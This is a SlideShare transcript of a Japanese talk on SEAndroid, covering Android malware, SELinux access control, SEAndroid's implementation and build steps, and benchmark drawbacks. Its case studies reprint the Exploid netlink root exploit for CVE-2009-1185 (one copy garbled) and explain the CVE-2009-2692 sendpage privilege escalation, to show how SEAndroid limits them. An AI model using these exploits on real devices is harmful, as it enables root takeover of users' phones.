SlideShare una empresa de Scribd logo
1 de 88
SEAndroid
-AndroidのアーキテクチャとSE化について-
Hiromu Yakura
自己紹介


矢倉大夢 @hiromu1996

未踏 2011

Linux Kernel Contributer
Androidに関する活動


AndroidのLinux Kernelに関するExploitの解析

Android Bazaar and Conferenceでの発表

 Androidセキュリティ部として活動
Androidセキュリティ部

http://anj.mns.me/ 

  JSSECの特別会員として参加

    ガイドラインの策定

  セキュリティ関連の記事の執筆
Androidマルウェアの増加




      McAfee Threats Report: First Quarter 2012より
Androidマルウェアの種類


スパイウェア

 端末に登録されている情報を盗み出す

 SMSの情報を使い、有料SMSでも   ける手口
Androidマルウェアの種類


Rootkit 

 バックドアを仕掛け、遠隔地からRoot権限で操作

   別のマルウェアをインストールさせたり
Androidマルウェアの種類




      F-Secure Mobile Threat Report 2012 Q1より
2012年第一四半期の統計


DroidKungFu 

 アップデートを利用してマルウェア化

 現在のところ検知した個体の割合は2.8%程度
Rootkitの脅威


Rootkitの割合は現在少ない

 現在の主流はスパイウェア

 脅威の度合いは比べ物にならない
スパイウェア
一般アプリケーション権限

  AppID 1       AppID 2

 パーミッション      パーミッション

  SMS         Internet

        電話帳          GPS


                     Android OS
一般アプリケーション権限

  AppID 1       AppID 2

 パーミッション      パーミッション

  SMS         Internet

        電話帳          GPS


                     Android OS
Rootkit
Root権限

   RootApp       AppID 2

  パーミッション      パーミッション

   SMS         Internet

         電話帳          GPS


                      Android OS
Rootkitの脅威
Root権限で操作できる

 Application Sandboxにとらわれない

  別のアプリケーションのデータを見る

  別のマルウェアをインストールさせる

  システム領域にファイルをインストールできる
Rootkitの脅威

Androidのウイルス対策ソフトで駆除できない

 対策ソフトは一般のアプリケーションの権限

 Rootkitはシステム領域にインストールする

  対策ソフトからは削除できない
Rootkitの脅威

パーミッションに縛られない

 パーミッションがなくてもなんでも使える

  電話帳読み取りとか

  設定の書き換えとか
Rootkitの脅威
スパイウェアは怪しいパーミッションを要求

Rootkitはパーミッションを要求しない

 一般ユーザーはRootkitを判別できない

 他のアプリにRootkitを埋め込める

  元のアプリと要求するパーミッションは一緒
Rootkitへの対策


Rootを奪取される原因となった脆弱性を塞ぐ

 現状ではこれ以外の対処法はない

 しかしすぐに塞げるわけではない
DroidDreamへの対策
DroidDream 

 CVE-2009-1185 

   最初の報告が2009年3月

 CVE-2010-EASY 

   最初の報告が2010年8月
DroidDreamへの対策

Androidでの対応は遅かった

 HTC EVO WiMAXは2011年9月に対策アップデート

 Softbank 003Zは2011年11月に対策アップデート

  対策までに1年以上かかった
ユーザーのRoot化

ユーザーによるRoot化も問題になっている

 ベンダーや通信業者にとっては大きなリスク

  不当な改造に対して補償させられる

  不当な金額で通信を行われる
新たな対処法

新たな対処法として現れたのがSEAndroid

 Security Enhanced Android 

  2012年1月にリリース

  SELinuxのAndroidバージョン
SELinux

Linux Security Moduleのひとつ

 アメリカ国家安全保障局が主体となって開発

 2000年にリリース

   2003年にLinux Kernelのメインラインにマージ
Linux Security Module


Linuxカーネルでのセキュリティフレームワーク

  AppArmor 

  TOMOYO Linux 
SELinuxの機能
強制アクセス制御

最小特権

 Type Enforcement 

 Role Base Access Control 

監査ログ
強制アクセス制御


従来のアクセス制御

リソースの所有者が権限を変更できる

rootならどのファイルも自由にアクセスできる
強制アクセス制御


強制アクセス制御

所有者に対しても制限をかけることができる

rootの特権を制限することも可能
Type Enforcement

プロセスに対して「ドメイン」

リソースに対して「タイプ」

 ドメインがそれぞれのタイプに対して可能な操作を
 「アクセスベクタ」として設定できる
Role Base Access Control


ユーザーに対して「ロール」を設定

 デフォルトではuser_t, staff_r, sysadm_r

   SELinuxの設定を変更できるのはsysadm_rだけ
監査ログ


SELinuxによって拒否された操作

 すべて監査ログに記録

  不正アクセスの検知
SEAndroid


SELinuxをAndroidに移植したのがSEAndroid

 さらにAndroid向けの機能を追加している

   Applicationに対するポリシー適用
SEAndroidの機能

それぞれのアプリケーションにはIDが与えられる

 強制アクセス制御に基づいた制限を可能に

  アクセスできる機能の制限

  アクセスできるリソースの制限
SEAndroidの機能
IDに対してアクセスできる機能を制限

 Wifi, Bluetooth, GPS.... 

 Androidのパーミッションモデルと似ている

   カーネルレベルで適用可能

   rootを奪取されても制限をかけられる
SEAndroidの機能


IDに対してアクセスできるリソースを制限

 別IDのアプリケーションデータにはアクセス不可

 システムプロセスにはアクセス不可
SEAndroidの実装
SELinuxを移植するにあって追加した実装

 カーネルでの実装

 ユーザーランドでの実装

 Android向けポリシーの作成

 ビルドツールの作成
カーネルでの実装
依存する機能の有効化

 Audit, Xattr, Security Moduleなど

yaffs2へのセキュリティラベル機能の追加

 inodeにセキュリティ情報を格納できるように

IPCに対するパーミッションチェックの追加
ユーザーランドでの実装
SEAndroidのAPI実装

 Bionicからxattrのシステムコールを呼べるように

   Androidアプリからも権限情報を読み込める

 実装するAPIは最小限に

   デバイスではポリシーを書き換えられないように
ユーザーランドでの実装

ファイルシステムツールへの追加実装

セキュリティラベルを読み込めるように

システムプロセスの拡張

init, ueventd, toolbox, installd, dalvik, zygote
ユーザーランドでの実装
init / ueventdへの追加実装

 起動時に最初に起動するプロセス

   ポリシーの読み込み

   ファイルへのラベリング

   SEAndroidの有効化
ユーザーランドでの実装


Toolboxへの追加実装

 Shellで使用するコマンド群

  chcon, setenforce, setseboolなど
ユーザーランドでの実装
installdへの追加実装

 アプリケーションのインストールを行うプロセス

   アプリケーションにドメインを発行可能に

   インストールディレクトリへのラベルシステム

    別のアプリがデータを読み込めないように
ユーザーランドでの実装


Dalvic VM/Zygoteへの追加実装

 アプリケーションを実行するVM

   SEAndroidのポリシーを読み込みに対応
ユーザーランドでの実装

SEAndroidの設定アプリケーション

 監査ログを読み込める

 SEAndroidのOn/Off, オプションを切り替えられる

  SEAndroidの有効時には切り替え権限がない
Android向けポリシーの作成
Android向けにフルスクラッチで作成

ドメインを細かく分割

 システムプロセス、アプリケーション

 それぞれに別のドメインを割り振り

 一般ユーザーにあまり意識させないように
ビルドツールの作成


ファイルシステム作成ツール

SEAndroidに対応したファイルシステムを作成

 yaffs2, ext4に対応
ビルドツールの作成

ファイルラベリングツール

ポリシーファイルを元にビルド時にラベリング

 ソースコードのディレクトリに置かれている

システムファイルはビルド時以外に変更不能に
SEAndroidの利用


これからはSEAndroidを利用する方法について

 Galaxy Nexusでの利用を例として説明

  Galaxy S, Emulatorでの利用方法は公式Wikiに
SEAndroidのダウンロード

Androidのダウンロードはrepoというツールを使用

 内部で動いているのはgit

まずManifestをダウンロードしてrepoを初期化

 repo init -u https://android.googlesource.com/
 platform/manifest 
SEAndroidのダウンロード

SEAndroid用のマニフェストを追加

 wget http://selinuxproject.org/~seandroid/
 local_manifest.xml -P .repo/ 

リポジトリのクローンを開始

 repo sync 
前準備


端末からプロプライエタリなファイルを抽出

adbで端末と接続している必要がある

device/samsung/maguro/extract-files.sh
カーネルのビルド
SEAndroidのカーネルをビルド

 kernel以下に4種類のカーネルソースがある

  kernel/omap: Galaxy Nexus
  kernel/samsung: Nexus S
  kernel/goldfish: Emulator
  kernel/tegra: Tegra 3
カーネルのビルド
使用するカーネルのディレクトリで作業

ARCH=arm make tuna_defconfig 

ARCH=arm make menuconfig 

 SELinuxが有効化されているのを確認

   [*] NSA SELinux Support 
カーネルのビルド

カーネルのビルド

 ARCH=arm make  

 cp arch/arm/boot/zImage ../../device/samsung/
 maguro/kernel 
Androidのビルド
環境変数などを設定

 source build/envsetup.sh 

 lunch 

   ビルドの一覧が出る

   full_maguro-userdebugを選択
Androidのビルド


ビルドを開始する

 make HAVE_SELINUX=true 

  一晩放置しておく
端末への書き込み


fastbootを使って書き込み

 cd out/target/product/maguro 

 fastboot -w flashall 
SEAndroidの有効事例(1)


Exploit.AndroidOS.lotoor

 DroidDreamとして拡散

 AndroidMarketで提供されたことも
SEAndroidの有効事例(1)

Exploidを使用してroot権限を奪取

 CVE-2009-1185のExploit

  ueventdの脆弱性

  netlinkメッセージの部分に脆弱性
SEAndroidの有効事例(1)

ueventdとは

 root権限で動作しているシステムプロセス

 /dev以下の管理を行なっている

 Linuxでいうudevのようなもの
SEAndroidの有効事例(1)
SEAndroidの有効事例
Exploitコード




 int main(int argc, char **argv)
 {
 
     int sock;
 
     char *mp;
 
     char message[4096];
 
     struct msghdr msg;
 
     struct iovec iovector;
 
     struct sockaddr_nl address;
 
     memset(&address, 0, sizeof(address));
 
     address.nl_familyatoi(argv[1]);
 
     address.nl_pid = = AF_NETLINK;
 
     address.nl_groups (void*)&address;
 
     msg.msg_name = = 0;
 
     msg.msg_namelen = sizeof(address);
 
     msg.msg_iov = &iovector;
 
     msg.msg_iovlen = 1;
 
     sock = socket(AF_NETLINK, *) &address, sizeof(address));
 
     bind(sock, (struct sockaddr SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
 
     mp = message;
 
     mp += sprintf(mp, "SUBSYSTEM=block") ++ 1;
 
     mp += sprintf(mp, "DEVPATH=/dev/foo") 1;
 
     mp += sprintf(mp, "ACTION=remove") +1;
 
     mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
 
     iovector.iov_base = (void*)message;
 
     iovector.iov_len&msg, 0);
 
     sendmsg(sock, = (int)(mp-message);
 
     close(sock);
 
     return 0;
 }
SEAndroidの有効事例(1)
SEAndroidの有効事例
Exploitコード


struct sockaddr_nl address;
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

struct msghdr msg;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
SEAndroidの有効事例(1)
SEAndroidの有効事例
Exploitコード


sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &address, sizeof(address));
mp = message;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
SEAndroidの有効事例(1)

AF_NETLINKにソケット通信

 カーネルとユーザーランドの通信用のソケット

 NETLINK_KOBJECT_UEVENT 

  ユーザーランドへのカーネルからの通信
SEAndroidの有効事例(1)

SUBSYSTEM=BLOCK, DEVPATH=/dev/foo,
ACTION=REMOVE, REMOVE_CMD=/tmp/run
 /dev/fooというブロックデバイスが取り外された

 トリガーとして/tmp/runを実行
SEAndroidの有効事例(1)
ueventdはソケット通信を受け取る

 /tmp/runを実行する

ueventdが通信の送り元を識別していないのが問題点

 ユーザーランドからの通信でも実行してしまう

  kernelの権限=root権限として実行
SEAndroidの有効事例(1)
SEAndroidはどう作用するのか

 一般ユーザーからはNetlinkへソケット通信できない

 ueventdは/proc/sys/kernel/hotplugへ書き込めない

  ポリシーで制限されている

Exploitは脆弱性を利用できない
SEAndroidの有効事例(2)


Android.Exploit.Asroot 

  SetupSUなどという名前で拡散

  rootを奪取してsuとbusyboxを/system/xbinに配置
SEAndroidの有効事例(2)
SEAndroidの有効事例

asrootを使用してrootを奪取

 asrootはCVE-2009-2692のExploit

  Linux Kernelの脆弱性

  BluetoothのL2CAPの実装に問題がある
SEAndroidの有効事例(2)
SEAndroidの有効事例
net/socket.c


 static ssize_t sock_sendpage(struct file *file, struct page *page,
         int offset, size_t size, loff_t *ppos, int more)
 {
   struct socket *sock;
   int flags;
   sock = file->private_data;
   flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
   if (more)
     flags |= MSG_MORE;
   return sock->ops->sendpage(sock, page, offset, size, flags);
 }



                              これが初期化されていない
SEAndroidの有効事例(2)
SEAndroidの有効事例
net/bluetooth/l2cap_sock.c


 static int l2cap_sock_create(struct net *net, struct socket *sock, int protocol)
 {
   struct sock *sk;
   BT_DBG("sock %p", sock);          l2cap_sock_opsを代入
   /* 略 */
     sock->ops = &l2cap_sock_ops;
     sk = l2cap_sock_alloc(net, sock, protocol, GFP_ATOMIC);
     if (!sk)
       return -ENOMEM;
     l2cap_sock_init(sk, NULL);
     return 0;
 }
SEAndroidの有効事例(2)
SEAndroidの有効事例
net/bluetooth/l2cap.c



 static const struct proto_ops l2cap_sock_ops = {
   .family
   .owner
                = PF_BLUETOOTH,
                 = THIS_MODULE,
                                     sendpageが存在しない
   .release     = l2cap_sock_release,
   .bind        = l2cap_sock_bind,
   .poll       = bt_sock_poll,
   .ioctl      = bt_sock_ioctl,
   .mmap          = sock_no_mmap,
   .socketpair    = sock_no_socketpair,
   .shutdown       = l2cap_sock_shutdown,
   .setsockopt    = l2cap_sock_setsockopt,
   .getsockopt     = l2cap_sock_getsockopt
 };
SEAndroidの有効事例(2)
SEAndroidの有効事例


sock->ops->sendpage()の参照先を書き換え

 参照先でuid=0 (root)に書き換える

カーネルの脆弱性でroot権限を取得できる
SEAndroidの有効事例(2)
SEAndroidの有効事例
SEAndroidは脆弱性を塞げるわけではない

 root権限は奪取されてしまう

しかしながらsuとbusyboxを配置することはできない

 SEAndroidによって書き込みが禁止されている

 ユーザーがroot権限を使用することはできない
SEAndroidの有効事例(3)


アプリケーションレイヤーでの問題

 CVE-2011-1717 

  Skype for Androidの脆弱性
SEAndroidの有効事例(3)
CVE-2011-1717 

 Skypeはユーザーの個人情報を使用

   暗号化なしで保存されていた

   他のアプリケーションも読み込み可能な部分

     アカウント, 連絡先, チャットログなど
SEAndroidの有効事例(3)

SEAndroidはアプリケーションレイヤーでも有効

 他のアプリケーションからの読み込みはできない

  アプリケーション毎のIDでアクセス制御

  他のIDのリソースには一切アクセスできない
SEAndroidの欠点


ここまではSEAndroidの利点について説明

これからはSEAndroidの欠点について

 SEAndroidはよいことづくめではない
SEAndroidの欠点


速度

 体感では少しもっさりしている

 Quadrant Benchmark Standardで比較
SEAndroidの欠点

Galaxy Nexus 平均: 2574

Galaxy Nexus with SEAndroid: 1874 

 ベンチマークスコアは18%ダウン

 Desire HD程度のスコア
SEAndroidの欠点
一番差が大きかったのはI/O

 ベンチマークスコアは70%ダウン

次に差が大きかったのはグラフィック

 2Dは45%, 3Dは20%ダウン

演算スピードはほとんど変わらず
SEAndroidの欠点


バッテリーの持ち

 体感半分くらいの持ち

 かるく熱をもっているような気もする
SEAndroidの欠点


動作が非常に不安定

 Enforcingモードでは頻繁に落ちる

  ホームアプリがSEAndroidによって無限ループに
SEAndroidの欠点

現状ではまだ使えるレベルではない

 これは必ずしもSEAndroidの問題ではない

  SEAndroidは危険な行動を阻止しているだけ

  アプリ側にもセキュアな作りをする意識が必要
結論

SEAndroidは実用レベルではない

 しかし大きな可能性を秘めている

  Androidの堅牢性は飛躍的に向上する

  少なくともAndroidに強制アクセス制御は必要
結論

SEAndroidとAndroidプラットフォームの融和が必要

 SEAndroid単体で改善できる部分は少ない

 アプリケーション側で対応していくことも必要

  メインラインにマージされるようになれば一番
結論


SEAndroidが一刻も早く普及してほしい

 キャリアやベンダーにとっても有用(?

 個人的にはどこかが開発に参加してほしい

Más contenido relacionado

La actualidad más candente

Report JAZUG activities 2010.08-2011.09
Report JAZUG activities 2010.08-2011.09Report JAZUG activities 2010.08-2011.09
Report JAZUG activities 2010.08-2011.09
Saori Ando
 
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システムWiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
Takashi Yamanoue
 
Metasploitでペネトレーションテスト
MetasploitでペネトレーションテストMetasploitでペネトレーションテスト
Metasploitでペネトレーションテスト
super_a1ice
 

La actualidad más candente (20)

Report JAZUG activities 2010.08-2011.09
Report JAZUG activities 2010.08-2011.09Report JAZUG activities 2010.08-2011.09
Report JAZUG activities 2010.08-2011.09
 
Kubernetes Security with DevSecOps
Kubernetes Security with DevSecOpsKubernetes Security with DevSecOps
Kubernetes Security with DevSecOps
 
Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策Active Directory 侵害と推奨対策
Active Directory 侵害と推奨対策
 
OpenStackトラブルシューティング入門
OpenStackトラブルシューティング入門OpenStackトラブルシューティング入門
OpenStackトラブルシューティング入門
 
最近の事と来年の目標 2017年
最近の事と来年の目標 2017年最近の事と来年の目標 2017年
最近の事と来年の目標 2017年
 
ハードコア デバッギング : サポート直伝!運用中 Windows アプリケーション バグバスター!!
ハードコア デバッギング : サポート直伝!運用中 Windows アプリケーション バグバスター!!ハードコア デバッギング : サポート直伝!運用中 Windows アプリケーション バグバスター!!
ハードコア デバッギング : サポート直伝!運用中 Windows アプリケーション バグバスター!!
 
RDOを使ったOpenStack Havana - Neutron 構築編
RDOを使ったOpenStack Havana - Neutron 構築編RDOを使ったOpenStack Havana - Neutron 構築編
RDOを使ったOpenStack Havana - Neutron 構築編
 
Vulsで始めよう!DevSecOps!
Vulsで始めよう!DevSecOps!Vulsで始めよう!DevSecOps!
Vulsで始めよう!DevSecOps!
 
「おりこうさんな秘書」に使われている技術・手法について
「おりこうさんな秘書」に使われている技術・手法について「おりこうさんな秘書」に使われている技術・手法について
「おりこうさんな秘書」に使われている技術・手法について
 
知らないと地味にハマるOpen stackインストール時の注意点
知らないと地味にハマるOpen stackインストール時の注意点知らないと地味にハマるOpen stackインストール時の注意点
知らないと地味にハマるOpen stackインストール時の注意点
 
Twitterのデータを取得する準備
Twitterのデータを取得する準備Twitterのデータを取得する準備
Twitterのデータを取得する準備
 
Ide env
Ide envIde env
Ide env
 
Use JWT access-token on Grails REST API
Use JWT access-token on Grails REST APIUse JWT access-token on Grails REST API
Use JWT access-token on Grails REST API
 
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システムWiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
Wiki と携帯型遠隔操作機器を使った情報セキュリティ対策システム
 
最近の事と #NT金沢 2018に初出展してきた
最近の事と #NT金沢 2018に初出展してきた最近の事と #NT金沢 2018に初出展してきた
最近の事と #NT金沢 2018に初出展してきた
 
OpenStackで始めるクラウド環境構築入門 Havana&DevStack編
OpenStackで始めるクラウド環境構築入門 Havana&DevStack編OpenStackで始めるクラウド環境構築入門 Havana&DevStack編
OpenStackで始めるクラウド環境構築入門 Havana&DevStack編
 
Beginner for Power Control on Linux はじめてのLinuxバッテリー省エネ設定
Beginner for Power Control on Linux  はじめてのLinuxバッテリー省エネ設定 Beginner for Power Control on Linux  はじめてのLinuxバッテリー省エネ設定
Beginner for Power Control on Linux はじめてのLinuxバッテリー省エネ設定
 
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
 
最近のWindowsタブレット、ガジェットLinuxハッキング #osc17sm
最近のWindowsタブレット、ガジェットLinuxハッキング #osc17sm最近のWindowsタブレット、ガジェットLinuxハッキング #osc17sm
最近のWindowsタブレット、ガジェットLinuxハッキング #osc17sm
 
Metasploitでペネトレーションテスト
MetasploitでペネトレーションテストMetasploitでペネトレーションテスト
Metasploitでペネトレーションテスト
 

Destacado

CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
Hiromu Yakura
 

Destacado (13)

Nyarlathotep
NyarlathotepNyarlathotep
Nyarlathotep
 
Why don't you learn programming?
Why don't you learn programming?Why don't you learn programming?
Why don't you learn programming?
 
Trendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final PresentationTrendmicro Security Award 2012 Final Presentation
Trendmicro Security Award 2012 Final Presentation
 
OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介OSS奨励賞受賞プレゼン 活動紹介
OSS奨励賞受賞プレゼン 活動紹介
 
ナウいAndroidセキュリティ
ナウいAndroidセキュリティナウいAndroidセキュリティ
ナウいAndroidセキュリティ
 
Arduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみようArduinoでプログラミングに触れてみよう
Arduinoでプログラミングに触れてみよう
 
GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」GAME ON 特別イベント 「ゲームってなんでプログラミング?」
GAME ON 特別イベント 「ゲームってなんでプログラミング?」
 
新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみた新しいライブ映像再生システムを研究してみた
新しいライブ映像再生システムを研究してみた
 
ICTのちから
ICTのちからICTのちから
ICTのちから
 
CTF, What's in it for me?
CTF, What's in it for me?CTF, What's in it for me?
CTF, What's in it for me?
 
Arrow Judge
Arrow JudgeArrow Judge
Arrow Judge
 
セキュリティ・キャンプのススメ
セキュリティ・キャンプのススメセキュリティ・キャンプのススメ
セキュリティ・キャンプのススメ
 
CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…CTFはとんでもないものを 盗んでいきました。私の時間です…
CTFはとんでもないものを 盗んでいきました。私の時間です…
 

Similar a SEAndroid -AndroidのアーキテクチャとSE化について-

Pf部2011年10月勉強会.1@androidsola
Pf部2011年10月勉強会.1@androidsolaPf部2011年10月勉強会.1@androidsola
Pf部2011年10月勉強会.1@androidsola
android sola
 
○○大学の本当にあった怖い話
○○大学の本当にあった怖い話○○大学の本当にあった怖い話
○○大学の本当にあった怖い話
idkqh7 Nishino
 
NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法
Naruto TAKAHASHI
 
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
三七男 山本
 
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
kojiokb
 
FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎
ken_kitahara
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs
Takayoshi Tanaka
 

Similar a SEAndroid -AndroidのアーキテクチャとSE化について- (20)

Android Lecture #01 @PRO&BSC Inc.
Android Lecture #01 @PRO&BSC Inc.Android Lecture #01 @PRO&BSC Inc.
Android Lecture #01 @PRO&BSC Inc.
 
Java/Androidセキュアコーディング
Java/AndroidセキュアコーディングJava/Androidセキュアコーディング
Java/Androidセキュアコーディング
 
Android Studioの魅力
Android Studioの魅力Android Studioの魅力
Android Studioの魅力
 
Android4.2徹底解剖!
Android4.2徹底解剖!Android4.2徹底解剖!
Android4.2徹底解剖!
 
Pf部2011年10月勉強会.1@androidsola
Pf部2011年10月勉強会.1@androidsolaPf部2011年10月勉強会.1@androidsola
Pf部2011年10月勉強会.1@androidsola
 
○○大学の本当にあった怖い話
○○大学の本当にあった怖い話○○大学の本当にあった怖い話
○○大学の本当にあった怖い話
 
Realmの暗号化とAndroid System
Realmの暗号化とAndroid SystemRealmの暗号化とAndroid System
Realmの暗号化とAndroid System
 
Code igniterでテスト駆動開発 資料作成中
Code igniterでテスト駆動開発 資料作成中Code igniterでテスト駆動開発 資料作成中
Code igniterでテスト駆動開発 資料作成中
 
Android Wear Apps
Android Wear AppsAndroid Wear Apps
Android Wear Apps
 
NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法NPAPIを使ったandroid標準ブラウザの拡張方法
NPAPIを使ったandroid標準ブラウザの拡張方法
 
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
Make: Ogaki Meeting 2012 Androidロボットサミットin大垣
 
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
Google Cloud Messaging for Android ことはじめ(サンプルコードを動かしてみる編)
 
Appsody でnodejsのアプリを立ち上げよう!
Appsody でnodejsのアプリを立ち上げよう!Appsody でnodejsのアプリを立ち上げよう!
Appsody でnodejsのアプリを立ち上げよう!
 
Inside mobage platform
Inside mobage platformInside mobage platform
Inside mobage platform
 
Android カスタムROMの作り方
Android カスタムROMの作り方Android カスタムROMの作り方
Android カスタムROMの作り方
 
AndroidでDIxAOP
AndroidでDIxAOPAndroidでDIxAOP
AndroidでDIxAOP
 
クラウドアプリケーション開発に必要なセキュリティ
クラウドアプリケーション開発に必要なセキュリティ クラウドアプリケーション開発に必要なセキュリティ
クラウドアプリケーション開発に必要なセキュリティ
 
2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF2014 0228 OSC-Spring Tokyo NETMF
2014 0228 OSC-Spring Tokyo NETMF
 
FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎FridaによるAndroidアプリの動的解析とフッキングの基礎
FridaによるAndroidアプリの動的解析とフッキングの基礎
 
13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs13016 n分で作るtype scriptでnodejs
13016 n分で作るtype scriptでnodejs
 

Más de Hiromu Yakura

Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Hiromu Yakura
 

Más de Hiromu Yakura (14)

Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
Human-AI communication for human-human communication / CHAI Workshop @ IJCAI ...
 
How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021How to make good use of AI technologies? @ Tsukuba Conference 2021
How to make good use of AI technologies? @ Tsukuba Conference 2021
 
機械学習を"良く"使うには
機械学習を"良く"使うには機械学習を"良く"使うには
機械学習を"良く"使うには
 
自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会自己紹介@名状しがたいお茶会
自己紹介@名状しがたいお茶会
 
Python 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみたPython 3のWebシステムでDDDに入門してみた
Python 3のWebシステムでDDDに入門してみた
 
Robust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical AttackRobust Audio Adversarial Example for a Physical Attack
Robust Audio Adversarial Example for a Physical Attack
 
機械学習コン講評
機械学習コン講評機械学習コン講評
機械学習コン講評
 
NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料NPCA夏合宿 2014 講義資料
NPCA夏合宿 2014 講義資料
 
イタリアでパスタを食べた話
イタリアでパスタを食べた話イタリアでパスタを食べた話
イタリアでパスタを食べた話
 
CTFとは
CTFとはCTFとは
CTFとは
 
ぃぬ速@LKML
ぃぬ速@LKMLぃぬ速@LKML
ぃぬ速@LKML
 
プラトン
プラトンプラトン
プラトン
 
How to lick Miku
How to lick MikuHow to lick Miku
How to lick Miku
 
ERASER
ERASERERASER
ERASER
 

Último

Último (7)

業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
業務で生成AIを活用したい人のための生成AI入門講座(社外公開版:キンドリルジャパン社内勉強会:2024年4月発表)
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
Amazon SES を勉強してみる その32024/04/26の勉強会で発表されたものです。
 
新人研修 後半 2024/04/26の勉強会で発表されたものです。
新人研修 後半        2024/04/26の勉強会で発表されたものです。新人研修 後半        2024/04/26の勉強会で発表されたものです。
新人研修 後半 2024/04/26の勉強会で発表されたものです。
 
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアルLoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
LoRaWAN スマート距離検出デバイスDS20L日本語マニュアル
 
LoRaWANスマート距離検出センサー DS20L カタログ LiDARデバイス
